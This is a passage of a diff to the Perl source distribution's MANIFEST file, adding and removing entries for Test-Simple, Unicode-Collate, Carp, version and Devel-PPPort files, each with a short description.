-cpan/Test-Simple/t/Test2/behavior/trace_signature.t -cpan/Test-Simple/t/Test2/behavior/uuid.t cpan/Test-Simple/t/Test2/legacy/TAP.t cpan/Test-Simple/t/Test2/modules/API.t cpan/Test-Simple/t/Test2/modules/API/Breakage.t @@ -2535,30 +2830,15 @@ cpan/Test-Simple/t/Test2/modules/API/Stack.t cpan/Test-Simple/t/Test2/modules/Event.t cpan/Test-Simple/t/Test2/modules/Event/Bail.t cpan/Test-Simple/t/Test2/modules/Event/Diag.t -cpan/Test-Simple/t/Test2/modules/Event/Encoding.t cpan/Test-Simple/t/Test2/modules/Event/Exception.t -cpan/Test-Simple/t/Test2/modules/Event/Fail.t cpan/Test-Simple/t/Test2/modules/Event/Generic.t +cpan/Test-Simple/t/Test2/modules/Event/Info.t cpan/Test-Simple/t/Test2/modules/Event/Note.t cpan/Test-Simple/t/Test2/modules/Event/Ok.t -cpan/Test-Simple/t/Test2/modules/Event/Pass.t cpan/Test-Simple/t/Test2/modules/Event/Plan.t cpan/Test-Simple/t/Test2/modules/Event/Skip.t cpan/Test-Simple/t/Test2/modules/Event/Subtest.t -cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t -cpan/Test-Simple/t/Test2/modules/Event/V2.t cpan/Test-Simple/t/Test2/modules/Event/Waiting.t -cpan/Test-Simple/t/Test2/modules/EventFacet.t -cpan/Test-Simple/t/Test2/modules/EventFacet/About.t -cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t -cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t -cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t -cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t -cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t -cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t -cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t -cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t -cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t cpan/Test-Simple/t/Test2/modules/Hub.t cpan/Test-Simple/t/Test2/modules/Hub/Interceptor.t @@ -2570,10 +2850,9 @@ cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t cpan/Test-Simple/t/Test2/modules/Util.t cpan/Test-Simple/t/Test2/modules/Util/ExternalMeta.t -cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t +cpan/Test-Simple/t/Test2/modules/Util/HashBase.t cpan/Test-Simple/t/Test2/modules/Util/Trace.t cpan/Test-Simple/t/Test2/regression/693_ipc_ordering.t -cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t cpan/Test-Simple/t/Test2/regression/gh_16.t cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t cpan/Text-Balanced/lib/Text/Balanced.pm Text::Balanced @@ -2650,7 +2929,6 @@ cpan/Unicode-Collate/Collate/Locale/cy.pl Unicode::Collate cpan/Unicode-Collate/Collate/Locale/da.pl Unicode::Collate cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl Unicode::Collate cpan/Unicode-Collate/Collate/Locale/de_phone.pl Unicode::Collate -cpan/Unicode-Collate/Collate/Locale/dsb.pl cpan/Unicode-Collate/Collate/Locale/ee.pl cpan/Unicode-Collate/Collate/Locale/eo.pl Unicode::Collate cpan/Unicode-Collate/Collate/Locale/es.pl Unicode::Collate @@ -2678,7 +2956,6 @@ cpan/Unicode-Collate/Collate/Locale/kl.pl Unicode::Collate cpan/Unicode-Collate/Collate/Locale/kn.pl Unicode::Collate cpan/Unicode-Collate/Collate/Locale/ko.pl Unicode::Collate cpan/Unicode-Collate/Collate/Locale/kok.pl Unicode::Collate -cpan/Unicode-Collate/Collate/Locale/lkt.pl cpan/Unicode-Collate/Collate/Locale/ln.pl Unicode::Collate cpan/Unicode-Collate/Collate/Locale/lt.pl Unicode::Collate cpan/Unicode-Collate/Collate/Locale/lv.pl Unicode::Collate @@ -2766,7 +3043,6 @@ cpan/Unicode-Collate/t/loc_da.t Unicode::Collate cpan/Unicode-Collate/t/loc_de.t Unicode::Collate cpan/Unicode-Collate/t/loc_deat.t Unicode::Collate cpan/Unicode-Collate/t/loc_deph.t Unicode::Collate -cpan/Unicode-Collate/t/loc_dsb.t cpan/Unicode-Collate/t/loc_ee.t cpan/Unicode-Collate/t/loc_eo.t Unicode::Collate cpan/Unicode-Collate/t/loc_es.t Unicode::Collate @@ -2797,7 +3073,6 @@ cpan/Unicode-Collate/t/loc_kl.t Unicode::Collate cpan/Unicode-Collate/t/loc_kn.t Unicode::Collate cpan/Unicode-Collate/t/loc_ko.t Unicode::Collate cpan/Unicode-Collate/t/loc_kok.t Unicode::Collate -cpan/Unicode-Collate/t/loc_lkt.t cpan/Unicode-Collate/t/loc_ln.t Unicode::Collate cpan/Unicode-Collate/t/loc_lt.t Unicode::Collate cpan/Unicode-Collate/t/loc_lv.t Unicode::Collate @@ -2851,13 +3126,11 @@ cpan/Unicode-Collate/t/loc_zhzy.t cpan/Unicode-Collate/t/nonchar.t Unicode::Collate cpan/Unicode-Collate/t/normal.t Unicode::Collate cpan/Unicode-Collate/t/notable.t -cpan/Unicode-Collate/t/nushu.t cpan/Unicode-Collate/t/overcjk0.t Unicode::Collate cpan/Unicode-Collate/t/overcjk1.t Unicode::Collate cpan/Unicode-Collate/t/override.t Unicode::Collate cpan/Unicode-Collate/t/rearrang.t Unicode::Collate cpan/Unicode-Collate/t/rewrite.t Unicode::Collate -cpan/Unicode-Collate/t/tangut.t cpan/Unicode-Collate/t/test.t Unicode::Collate cpan/Unicode-Collate/t/trailwt.t Unicode::Collate cpan/Unicode-Collate/t/variable.t Unicode::Collate @@ -2877,7 +3150,6 @@ cpan/version/t/07locale.t Tests for version objects cpan/version/t/08_corelist.t Tests for version objects cpan/version/t/09_list_util.t Tests for version objects cpan/version/t/10_lyon.t Tests for version objects -cpan/version/t/11_taint.t Tests for version objects cpan/version/t/coretests.pm Tests for version objects cpan/Win32/longpath.inc Win32 extension long path support cpan/Win32/Makefile.PL Win32 extension makefile writer @@ -2981,15 +3253,11 @@ dist/Carp/t/arg_regexp.t See if Carp formats regexp args OK in stack traces dist/Carp/t/arg_string.t See if Carp formats string args OK in stack traces dist/Carp/t/baduni.t See if Carp handles non-char Unicode dist/Carp/t/baduni_warnings.t See if Carp handles non-char Unicode when loaded via warnings.pm -dist/Carp/t/broken_can.t Test Carp with bad can implementations -dist/Carp/t/broken_univ_can.t Test Carp with bad UNIVERSAL::can dist/Carp/t/Carp.t See if Carp works dist/Carp/t/Carp_overload.t See if Carp handles overloads -dist/Carp/t/Carp_overloadless.t See if Carp handles overloads that dont use overload.pm dist/Carp/t/errno.t See if Carp preserves $! and $^E dist/Carp/t/heavy.t See if Carp::Heavy works dist/Carp/t/heavy_mismatch.t See if Carp::Heavy catches version mismatch -dist/Carp/t/stack_after_err.t Test stack traces after syntax errors dist/Carp/t/stash_deletion.t See if Carp handles stash deletion dist/Carp/t/swash.t See if Carp avoids breaking swash loading dist/Carp/t/vivify_gv.t See if Carp leaves utf8:: stuff alone @@ -3029,376 +3297,6 @@ dist/Data-Dumper/t/toaster.t See if Data::Dumper::Toaster works dist/Data-Dumper/t/trailing_comma.t See if Data::Dumper::Trailingcomma works dist/Data-Dumper/t/values.t See if Data::Dumper::Values works dist/Data-Dumper/Todo Data pretty printer, futures -dist/Devel-PPPort/apicheck_c.PL Devel::PPPort apicheck generator -dist/Devel-PPPort/devel/buildperl.pl Devel::PPPort perl version builder -dist/Devel-PPPort/devel/devtools.pl Devel::PPPort development utilities -dist/Devel-PPPort/devel/mkapidoc.sh Devel::PPPort apidoc collector -dist/Devel-PPPort/devel/mktodo Devel::PPPort baseline/todo generator -dist/Devel-PPPort/devel/mktodo.pl Devel::PPPort baseline/todo generator -dist/Devel-PPPort/devel/regenerate Devel::PPPort API re-generator -dist/Devel-PPPort/devel/scanprov Devel::PPPort provided API scanner -dist/Devel-PPPort/HACKERS Devel::PPPort hackers documentation -dist/Devel-PPPort/Makefile.PL Devel::PPPort makefile writer -dist/Devel-PPPort/mktests.PL Devel::PPPort test file writer -dist/Devel-PPPort/module2.c Devel::PPPort test file -dist/Devel-PPPort/module3.c Devel::PPPort test file -dist/Devel-PPPort/parts/apicheck.pl Devel::PPPort apicheck generator -dist/Devel-PPPort/parts/apidoc.fnc Devel::PPPort Perl API listing -dist/Devel-PPPort/parts/base/5003070 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5004000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5004010 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5004020 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5004030 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5004040 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5004050 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5005000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5005010 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5005020 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5005030 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5005040 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5006000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5006001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5006002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5007000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5007001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5007002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5007003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008006 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008007 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008008 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5008009 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5009000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5009001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5009002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5009003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5009004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5009005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5010000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5010001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5011000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5011001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5011002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5011003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5011004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5011005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5012000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5012001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5012002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5012003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5012004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5012005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013006 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013007 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013008 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013009 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013010 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5013011 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5014000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5014001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5014002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5014003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5014004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015006 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015007 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015008 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5015009 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5016000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5016001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5016002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5016003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017006 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017007 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017008 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017009 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017010 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5017011 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5018000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5018001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5018002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5018003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5018004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019006 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019007 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019008 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019009 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019010 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5019011 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5020000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5020001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5020002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5020003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021006 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021007 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021008 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021009 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021010 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5021011 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5022000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5022001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023001 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023002 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023003 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023004 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023005 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023006 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023007 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023008 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5023009 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/base/5024000 Devel::PPPort baseline todo file -dist/Devel-PPPort/parts/embed.fnc Devel::PPPort Perl API listing -dist/Devel-PPPort/parts/inc/call Devel::PPPort include -dist/Devel-PPPort/parts/inc/cop Devel::PPPort include -dist/Devel-PPPort/parts/inc/exception Devel::PPPort include -dist/Devel-PPPort/parts/inc/format Devel::PPPort include -dist/Devel-PPPort/parts/inc/grok Devel::PPPort include -dist/Devel-PPPort/parts/inc/gv Devel::PPPort include -dist/Devel-PPPort/parts/inc/HvNAME Devel::PPPort include -dist/Devel-PPPort/parts/inc/limits Devel::PPPort include -dist/Devel-PPPort/parts/inc/magic Devel::PPPort include -dist/Devel-PPPort/parts/inc/memory Devel::PPPort include -dist/Devel-PPPort/parts/inc/mess Devel::PPPort include -dist/Devel-PPPort/parts/inc/misc Devel::PPPort include -dist/Devel-PPPort/parts/inc/mPUSH Devel::PPPort include -dist/Devel-PPPort/parts/inc/MY_CXT Devel::PPPort include -dist/Devel-PPPort/parts/inc/newCONSTSUB Devel::PPPort include -dist/Devel-PPPort/parts/inc/newRV Devel::PPPort include -dist/Devel-PPPort/parts/inc/newSV_type Devel::PPPort include -dist/Devel-PPPort/parts/inc/newSVpv Devel::PPPort include -dist/Devel-PPPort/parts/inc/podtest Devel::PPPort include -dist/Devel-PPPort/parts/inc/ppphbin Devel::PPPort include -dist/Devel-PPPort/parts/inc/ppphdoc Devel::PPPort include -dist/Devel-PPPort/parts/inc/ppphtest Devel::PPPort include -dist/Devel-PPPort/parts/inc/pv_tools Devel::PPPort include -dist/Devel-PPPort/parts/inc/pvs Devel::PPPort include -dist/Devel-PPPort/parts/inc/shared_pv Devel::PPPort include -dist/Devel-PPPort/parts/inc/snprintf Devel::PPPort include -dist/Devel-PPPort/parts/inc/sprintf Devel::PPPort include -dist/Devel-PPPort/parts/inc/strlfuncs Devel::PPPort include -dist/Devel-PPPort/parts/inc/Sv_set Devel::PPPort include -dist/Devel-PPPort/parts/inc/sv_xpvf Devel::PPPort include -dist/Devel-PPPort/parts/inc/SvPV Devel::PPPort include -dist/Devel-PPPort/parts/inc/SvREFCNT Devel::PPPort include -dist/Devel-PPPort/parts/inc/threads Devel::PPPort include -dist/Devel-PPPort/parts/inc/uv Devel::PPPort include -dist/Devel-PPPort/parts/inc/variables Devel::PPPort include -dist/Devel-PPPort/parts/inc/version Devel::PPPort include -dist/Devel-PPPort/parts/inc/warn Devel::PPPort include -dist/Devel-PPPort/parts/ppport.fnc Devel::PPPort API listing -dist/Devel-PPPort/parts/ppptools.pl Devel::PPPort various utilities -dist/Devel-PPPort/parts/todo/5003070 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5004000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5004010 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5004020 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5004030 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5004040 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5004050 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5005000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5005010 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5005020 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5005030 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5005040 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5006000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5006001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5006002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5007000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5007001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5007002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5007003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008006 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008007 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008008 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5008009 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5009000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5009001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5009002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5009003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5009004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5009005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5010000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5010001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5011000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5011001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5011002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5011003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5011004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5011005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5012000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5012001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5012002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5012003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5012004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5012005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013006 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013007 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013008 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013009 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013010 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5013011 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5014000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5014001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5014002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5014003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5014004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015006 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015007 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015008 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5015009 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5016000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5016001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5016002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5016003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017006 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017007 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017008 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017009 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017010 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5017011 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5018000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5018001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5018002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5018003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5018004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019006 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019007 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019008 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019009 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019010 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5019011 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5020000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5020001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5020002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5020003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021006 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021007 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021008 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021009 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021010 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5021011 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5022000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5022001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023000 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023001 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023002 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023003 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023004 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023005 Devel::PPPort todo file -dist/Devel-PPPort/parts/todo/5023006 